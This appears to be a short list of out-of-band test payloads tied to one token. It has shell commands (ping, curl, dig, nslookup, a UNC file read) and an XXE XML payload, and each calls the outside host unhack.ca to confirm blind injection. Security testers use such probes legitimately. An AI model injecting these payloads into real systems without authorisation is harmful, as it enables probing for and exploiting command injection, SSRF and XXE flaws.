$ ping -c1 -p 00ffcc3ece64fc548c07a3e40c4b2f00 unhack.ca
 

$ curl http://unhack.ca/p/ffcc3ece64fc548c07a3e40c4b2f
 

$ dig ffcc3ece64fc548c07a3e40c4b2f @unhack.ca
 

$ dig ffcc3ece64fc548c07a3e40c4b2f.ns.unhack.ca
 

C:\> nslookup ffcc3ece64fc548c07a3e40c4b2f unhack.ca
 

C:\> type \\unhack.ca\ffcc3ece64fc548c07a3e40c4b2f\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ffcc3ece64fc548c07a3e40c4b2f">]>
    <foo>&xxe;</foo>